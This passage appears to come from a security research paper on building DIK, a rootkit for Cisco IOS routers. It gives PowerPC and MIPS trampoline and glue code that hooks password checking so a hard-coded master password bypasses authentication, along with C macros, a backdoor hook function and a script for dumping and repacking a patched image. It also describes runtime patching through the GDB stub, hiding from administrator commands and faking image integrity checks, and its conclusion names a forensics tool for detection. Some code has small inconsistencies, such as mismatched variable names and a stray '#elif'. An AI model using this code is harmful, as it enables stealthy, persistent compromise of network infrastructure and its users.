In the following example, the IOS function responsible for password checking is hooked and based on the result (whether the password is a backdoor password or not), the execution flow is redirected again to either invoke the original function code or to return directly to the caller (bypassing authentication) as explained below:

1. A function inside the IOS calls the password validation function call chk_pass(). At the beginning of this function, using the hooking technique to apply the trampoline's code, the rootkit seizes control of the execution flow.
   In the case of the PowerPC we simply write a branch instruction (b) like the following:

```
.text:803B79B4 48 DC C3 9C   b       loc_81183D50
```

   The next example covers the case of the MIPS architecture where a jump instruction (j) will be written at the function prologue, followed by a NOP instruction to avoid problems with delay-slots on this architecture:

```
LOAD:60460A04 08 5A 54 BB    j       loc_616952EC
LOAD:60460A08 00 00 00 00    nop
```

This is the motive why in IOS, with images for MIPS architecture, two instructions on the prologue are overwritten.

2. The glue code is invoked so that the steps previously explained take place. Now a detailed explanation of the shellcode used will be shown for calling a function that expects four parameters, three of which are the original function's parameters, and the fourth parameter is the return value (this value is ignored by the shellcode if the function doesn't return any value, like in the case of void functions).

   Following is a complete disassembly of the glue code for the PowerPC architecture:

```
.data:81183D50    loc_81183D50:
.data:81183D50 mflr    %r0              ; Save return address
.data:81183D54 stw     %r0, -4(%sp)     ; Copy ret addr into stack
.data:81183D58 stw     %r3, -0xC(%sp)   ; Store param 1
.data:81183D5C stw     %r4, -0x10(%sp)  ; Store param 2
.data:81183D60 stw     %r5, -0x14(%sp)  ; Store param 3
.data:81183D64 addi    %r6, %sp, -8     ; Get address of param 4
.data:81183D68 stwu    %sp, -0x1C(%sp)  ; Save stack space for params
.data:81183D6C bl      sub_81183BB4     ; Invoke DIK plain C code
.data:81183D70 addi    %sp, %sp, 0x1C   ; Restore allocated stack
.data:81183D74 cmpwi   %r3, 0           ; Check if RETURN to caller
.data:81183D78 lwz     %r3, -4(%sp)     ; Obtain ret address stored
.data:81183D7C mtlr    %r3              ; Copy ret addr to register
.data:81183D80 beq     loc_81183D98_RET; Exec RETURN or CONT code?
.data:81183D84 lwz     %r3, -0xC(%sp)   ; Restore original param 1
.data:81183D88 lwz     %r4, -0x10(%sp)  ; Restore original param 2
.data:81183D8C lwz     %r5, -0x14(%sp)  ; Restore original param 3
.data:81183D90 stwu    %sp, -0x18(%sp)  ; Execute overwritten inst
.data:81183D94 b       loc_803B79B8     ; Continue after trampoline
 ------------------------------------------------------------------
.data:81183D98
.data:81183D98    loc_81183D98_RET:     # CODE XREF: .data:81183D80#j
.data:81183D98 lwz     %r3, -8(%sp)     ; Set function return value
.data:81183D9C blr                      ; Return to IOS caller
```

   The comments next to every instruction in the above disassembly represent the step previously described when the glue code was first introduced.

It's important to remind readers at this point that the part of this shellcode that stores/restores the original function parameters was dynamically calculated by the IDA-Python script.

It's also worth mentioning that the compiled rootkit code, which was placed in memory that originally belonged to a debug string, was successfully executed allowing the attacker to achieve one of the most important parts of this rootkit -- which is to maintain a unique code base written in plain C that works for both platforms without having to take care of architecture-specific details.

The MIPS code performs the same task as the PowerPC code but with the corresponding MIPS instructions:

```
DATA:616952EC loc_616952EC:
DATA:616952EC sw      $ra, -4($sp)     ; Copy ret addr into stack
DATA:616952F0 sw      $a0, -0xC($sp)   ; Store param 1
DATA:616952F4 sw      $a1, -0x10($sp)  ; Store param 2
DATA:616952F8 sw      $a2, -0x14($sp)  ; Store param 3
DATA:616952FC addi    $a3, $sp, 0xFFF8 ; Get address of param 4
DATA:61695300 addiu   $sp, -0x1C       ; Save stack space for params
DATA:61695304 jal     sub_61695164     ; Invoke DIK plain C code
DATA:61695308 nop                      ; nop for delay-slot
DATA:6169530C addiu   $sp, 0x1C        ; Restore allocated stack
DATA:61695310 lw      $ra, -4($sp)     ; Obtain ret address stored
DATA:61695314 beqz    $v0, loc_61695338; Exec RETURN or CONT code?
DATA:61695318 nop                      ; nop for delay-slot
DATA:6169531C lw      $a0, -0xC($sp)   ; Restore original param 1
DATA:61695320 lw      $a1, -0x10($sp)  ; Restore original param 2
DATA:61695324 lw      $a2, -0x14($sp)  ; Restore original param 3
DATA:61695328 addiu   $sp, -0x28       ; Execute 1st overwritten inst
DATA:6169532C sw      $s0, 0x18($sp)   ; Execute 2nd overwritten inst
DATA:61695330 j       loc_60460A0C     ; Continue after trampoline
DATA:61695334 nop                      ; nop for delay-slot
-------------------------------------------------------------------
DATA:61695338
DATA:61695338 loc_61695338:            # CODE XREF: DATA:61695314#j
DATA:61695338 lw      $v0, -8($sp)     ; Set function return value
DATA:6169533C jr      $ra              ; Return to IOS caller
DATA:61695340 nop                      ; nop for delay-slot
```

It's also important to note that the address where the glue code starts is at the end of the rootkit code, so all the code is put together in the same memory area (and hopefully the same memory page).

In the scenario described above it is possible to describe the tasks performed by the glue code by saying that it stores the return address of the original function call, calls the rootkit function with the same arguments of the IOS legitimate function, and processes the result of the function call.

This result is needed to determine if execution flow will return to the instruction following the *trampoline* and continue the original path by executing the instructions that were overwritten with the trampoline (in case that the password entered is not the rootkit password), or return directly to the trampoline's caller because no more password validation is needed (in case the password entered is the rootkit’s master password), which means that the attacker is logging in.

The *glue code* is crucial for rootkit operations because some of those painful steps might not be necessary if the rootkit code was implemented in pure assembly. In the case of DIK it was implemented in plain C to allow easy maintenance.

Now it's clear why those few lines of special assembly instructions called *trampoline* and *glue code* were needed to fill the gap between a C function compiled (with *Position Independent Code*) for the target architecture and extracted to be inserted 'as is' directly inside the IOS image.

The advantage of this method is that only one C code is maintained (with certain limitations, of course) instead of two assembly codes that perform the same actions on different architectures (a MIPS code and a PowerPC code).

Learning the a, b, (plain) C

The rootkit code will change according to the needs of the attacker, which may include hiding files, hiding connections, maintaining backdoors, cleaning logs, etc. -- all of them providing a complete stealth operation during an attacker's visit.

Those features will take form of C functions and once those functions’ code is compiled, their bytes will be needed so they can be inserted into the IOS image. But a problem arises because the compiled code is an ELF file for the target architecture and this is where the flags (BOF_and EOF_) -- mentioned in the 'rootkit address book' section (the dump sample included those flags) -- will be used to separate the bytes of interest for the attacker from the rest of the ELF file.

Those flags are just inline assembly markers like the following:

```
#define BOF_DIK_CODE   asm(".ascii \"BOF_\"")
#define EOF_DIK_CODE   asm(".ascii \"EOF_\"")
```

Those two markers were placed at the beginning and at the end of a source code file (always outside of existing functions) so the compiler simply includes them and then a Python script can take advantage of this to delimit the necessary code for the rootkit.

The rootkit also required that the strings were in the same section of the code instead of different sections like they usually are (.TEXT) so a way to include them next to the functions and a way to obtain their addresses (and that those addresses support PIC – Position Independent Code) was absolutely necessary. Otherwise the rootkit wouldn't have strings support and that's not acceptable.

To address this issue, inline assembly was employed to put the raw strings beside a function and then obtain the pointer to those strings through this function using a shellcode that resolves the current function address (to allow PIC) and then adds an offset which is architecture specific.

The idea was to create a function that contained the string and also the shellcode to return its memory address (like a char*) so the following steps were needed:

```
void pszPassword(void)                  // String pointer name
{
   1. Code that obtains current PC.
   2. Store PC into a variable.
   3. Add an offset (to point to inline asm instruction) to point to
      function's end.
   4. Return the variable pointing to end of function(string begins
      there).
}
asm(".ascii \"my backdoor password\");   // Our string
asm(".byte 0");                         // Null terminator
```

With this schema, a macro was created to reference the function address plus an offset (which is architecture specific) to avoid the function's code until the end of the first byte after the epilogue.

The epilogue length varies between architectures so we determine the current working architecture using GCC internal definitions to obtain the correct offset value.

The fully functional macros for both PowerPC and MIPS are shown below in a macro called STRING_DEFINE.

```
#ifdef __mips__
    #define _OFFSET 0x30
#elif __PPC__
    #define _OFFSET 0x34
#endif

#elif __mips__
#define STRING_DEFINE(name,content)   char* name(void)            \
                                      {                           \
                                          int ret = 0;            \
                                          int orig_blr;           \
                                          asm("move %0, $ra"      \
                                              :"=r"(orig_blr));   \
                                          asm("nop");             \
                                          asm("bal +4;");         \
                                          asm("move %0, $ra"      \
                                              :"=r"(ret));        \
                                          asm("move $ra, %0"      \
                                              ::"r"(orig_blr));   \
                                         return(char*)ret+_OFFSET;\
                                      }                           \
                                      asm(".ascii \""content"\"");\
                                      asm(".byte 0");
#elif __PPC__
#define STRING_DEFINE(name,content)   char* name(void)            \
                                      {                           \
                                          int ret;                \
                                          int orig_blr;           \
                                          asm("mflr %r8;");       \
                                          asm("mr %0, %%r8"       \
                                              :"=r"(orig_blr));   \
                                          asm("bl +4;");          \
                                          asm("mflr %r8;");       \
                                          asm("mr %0, %%r8"       \
                                              :"=r"(ret));        \
                                          asm("mr %%r8, %0"       \
                                              ::"r"(orig_blr));   \
                                          asm("mtlr %r8;");       \
                                        return (char*)ret+_OFFSET;\
                                      }                        \
                                      asm(".ascii \""content"\"");\
                                      asm(".byte 0");
#endif
```

This macro takes two parameters, the first is the pointer name (function name) and the second is the content (the string itself). So, to use it refer to that string (get a pointer to it) like any other string.

A small detail is that "naked" attribute is not available for those target architectures and that is why the offset stuff to avoid the prologue is needed. Otherwise the function prologue and epilogue wouldn't be included by the compiler.

Below is an example of usage of the string macro:

```
STRING_DEFINE(pszPassword, "dik_rulez")

void myRootkitFunction(int somearg)
{
 char* pszPass = pszPassword();   // Function name as string pointer
                                  //  or
 printf("Password = %s", pszPassword()); // common pointer usage
}
```

With the string issue solved, the rest of the rootkit code is simply a plain C program like any other and the only thing to keep in mind is that the rootkit's functions must follow a few rules.

These rules are that rootkit functions must return an integer to indicate to the glue code, whether to continue execution of the original IOS function, or return to the caller -- and also must include one parameter more than the original IOS function which will contain the return value of the original IOS function in case returning to the caller is needed.

```
uint chk_pass_DIK(char *input,char *correct,uint val,uint* hook_res)
{
    // my_strcmp is also a rootkit function
    if (my_strcmp(input, pszPassword()) == 0)
    {
        *hook_result = 1; // master password specified
        return OP_RETURN;
    }
    return OP_CONTINUE;
}
```

In the above example, the usage of a function to return a string pointer is shown, as well as invoking another rootkit function (in this case is my_strcmp function).

It is clear at this point that the rootkit functionality is only limited by the attacker's creativity because it's like programming anything else in C.

Functioning without the others functions

A function that performs password checking is useful to retrieve other users' passwords in plain text and if this information could be written somewhere (may be a hidden file on flash file system) or transmitted over a TCP connection using IOS socket handling capabilities, would be of great interest for an attacker.

There are several functions besides the one mentioned above that a rootkit must hook/patch to take complete control of the system.

Those functions include equivalents of file-handling functions like read/write, socket handling like send/recv, and IOS functions that implement the CLI (Command Line Interface) commands that can alert the system administrator of unauthorized access.

Pointers to those functions need to be used from the C rootkit code to be able to employ them into the rootkit code.

This could be done by creating stub functions in the C code that contain a jump to the function's location inside, but this location will only be resolved after analyzing the IOS image with IDA.

To solve this problem, the stubs function could be created in the code containing a call to an index inside a jump table which could be filled by a Python script with the address of the real function in memory.

Modern compilers use this approach to dynamically resolve the addresses of library functions referenced by a user program, which at compile time are unknown to the compiler/linker and become known when the program is executed and the jump table is filled with the resolved (current) memory addresses.

Being able to use IOS internal functions gives the rootkit a more advanced level of stealth, and allows for capabilities that go far beyond simple function hooking.

For example, normal security procedures like downloading the IOS image in a periodic manner by the system administrator to perform a checksum (like MD5, SHA1, etc.) as part of the company security process to detect modified images could be easily redirected to an external server that contains an unaltered image without any suspicion.

It could even intercept the read function calls asking for a chunk of the compressed image on flash (or any other media) and in that moment it decompresses the infected chunk, patches it with the original bytes (which were previously stored on a file in the flash file system -- assuming that those functions addresses are known by previous analysis) and re-compress it so it's returned intact (this is possible since the compression algorithm can work with chunks of bytes instead of the entire file).

At this moment, the difference between a low level rootkit and a simple TCL script can be appreciated because such actions like the one mentioned above could never be achieved by a higher level rootkit.

One important feature of the rootkit is that the hooking method doesn't need any additional process running to perform those actions, so listing processes is not going to help for detection because all that DIK does is intercept function calls and redirect execution flow to perform certain tasks and then continue at the address after the redirection takes place.

Ready, steady, go

With the rootkit code in place, it's time to dump the newly-patched IOS image, repack it with the original (self decompressing) file header and upload it to the target system.

Reading the patched IDA image and writing its content to a file can be done easily, as in the following example:

```
# Create a new file to write the changed bytes
fd_tmp     = open('rootkit_content.tmp', 'wb')
code_dump   = ''

# Iterate through every byte changed in the original IOS image
#
# rootkit_address contains initial rootkit address where previously
# a debug string was located.
#
# current_endEA contains the last modified image address
#
for ea in range(rootkit_address, current_endEA, 4):
  code_dump   += pack('>L', get_long(ea))

fd_tmp.write(code_dump)
fd_tmp.close()
```

This generated file will later be merged with the original IOS filename to create the decompressed backdoored IOS image.

Now details will be given about how to merge the ready rootkit code in the temporal file with the original IOS image -- because this is a trivial byte replacement operation and the offsets to apply the patch on the original image can be obtained from IDA.

The checksum of the patched IOS image must be calculated again because now that its content have changed the old checksum values won't match.

A script in Python that implements the checksum algorithm described at the beginning can be used to recalculate the checksum and recreate the self decompressing IOS image using the original image header (from the first byte to the end of the SFX section) and obtain an image ready to be uploaded to the device using a normal image upgrade procedure.

Other ways of The Force

Image binary patching has been discussed in depth but a run-time memory patching technique is also possible using the GDB[12] stub included inside every IOS image.

The GDB stub is the debugging interface for Cisco developers which allows them to debug IOS processes. It also allows remote image diagnostics because it's capable of working over a Telnet session as well as over a Serial session establish on the console port.

This GDB stub is capable of working in three different ways:

- Process examination: Allows memory inspection and processor registers inspection but it cannot modify system values (memory of registers values).
  The system execution continues normally during debugging so 'examine' mode can be executed over a Telnet session.

- Process debugging: In the situations that a console port of the device is not accessible, process debug mode can be executed. It works by catching unhandled exceptions on the specified process, setting it in a special state where it will not be rescheduled and then running the process of the debugger to debug the failed process.
  The IOS system continues to run during process debugging so it is possible to debug a process over a Telnet session but certain restrictions apply. The scheduler, an interrupt service routine or any process needed for the debugging path (such as TCP/IP) cannot be debugged over this session.
  This debugging mode is capable of memory and processor registers modification so this is the best option for an attacker to remotely modify the device memory to insert the backdoor.

- Kernel debugging: If the attacker gains physical access to a console port he or she can execute the kernel debugger which is the preferred way to debug a router. In this mode, the entire device execution is stopped during the exception, freezing all system states.

Using the Telnet connection, a remote GDB instance can be executed to perform memory patching but certain precautions must be taken, such as not writing the trampoline code before the rootkit code, because, if a patched function is invoked before the rootkit code is in place a memory access violation will be raised leading to a system crash.

An attacker might want to automate this run-time patching procedure for every system restart and it can be accomplished in a few different ways. One possible way is to create a TCL script to execute at startup, engage a Telnet session with the local host and execute the process debugger to patch the device it is running on.

In this case, the script must contain the rootkit code inside with the memory locations to be modified -- which could have been previously obtained by the same analysis phase involved in the image binary patching procedure.

Conclusions

A reliable and generic method for Cisco IOS image infection can be implemented either via binary image modification or via run-time code patching.

To face this kind of threat the only possibility available today is to use CIR[13], a tool created by Felix 'FX' Lindner from Recurity Labs and presented early this year when he talked about developments on IOS forensics[14].

The CIR analysis framework aims at identifying compromised routers, exploitation attempts and backdoors -- as well as process and memory anomalies.

The framework inspects a snapshot of the live IOS memory (core dump or GDB debug connection) and reconstructs the central data structures, providing an abstraction layer for in-depth analysis modules and reporting.

It's important to make a special mention of CIR because it's the ONLY serious (and possible) way to perform forensics on a Cisco device and it still might be complicated if the rootkit controls the core-dump generation routines. In that case, the CIR alternative methods like GDB debug connection should be used.

Unless every system administrator plans on using advanced forensics methods on every device on their networks like the one (and only) mentioned before, they should take serious security measures and try to keep the devices updated to minimize risks.

Even this work may not be enough to detect an advanced rootkit already deployed in the system, depending on the stealth level of the rootkit -- so, external methods of device compromise detection should be conceived because relaying in a possible infected image is as bad as running antivirus in a computer already infected, and relaying in an OS that is already compromised.

References

[1] A free Python interpreter for Windows called ActivePython can be obtained at:
http://www.activestate.com/Products/activepython/features.plex

[2] Python for beginners
http://wiki.python.org/moin/BeginnersGuide

[3] IDA Pro disassembler and debugger
http://www.hex-rays.com/idapro/

[4] IDAPython is a plug-in for IDA Pro to allow python scripts to be executed in the context of IDA and to access all of its functions. It can be downloaded from http://d-dome.net/idapython

[5] 'The ELF virus writing HOWTO'
http://www.linuxsecurity.com/resource_files/documentation/virus-writing-HOWTO/_html/index.html

[6] Daniel Hodson presentation at RUXCON 2004
http://www.ruxcon.org.au/files/2004/11-daniel_hodson.ppt

[7] Download GCC (GNU Compiler Collection) at http://gcc.gnu.org/

[8] GCC cross compiler info at:
http://en.wikipedia.org/wiki/Cross_compiler

[9] PyElf is a simple library for easy ELF file manipulation. Refer to Core Security Technologies' site for news about it.

[10] GNU Binutils can be obtained at :
http://www.gnu.org/software/binutils/binutils.html

[11] Information about the tool called objdump included in binutils can be obtained at http://en.wikipedia.org/wiki/Objdump

[12] GDB is The GNU Debugger Project and information about it can be obtained from http://sourceware.org/gdb/

[13] CIR (Cisco Information Retrieval)
http://cir.recurity-labs.com/

[14] 'Developments in IOS Forensics'
http://www.recurity-labs.com/content/pub/RecurityLabs_Developments_in_IOS_Forensics.pdf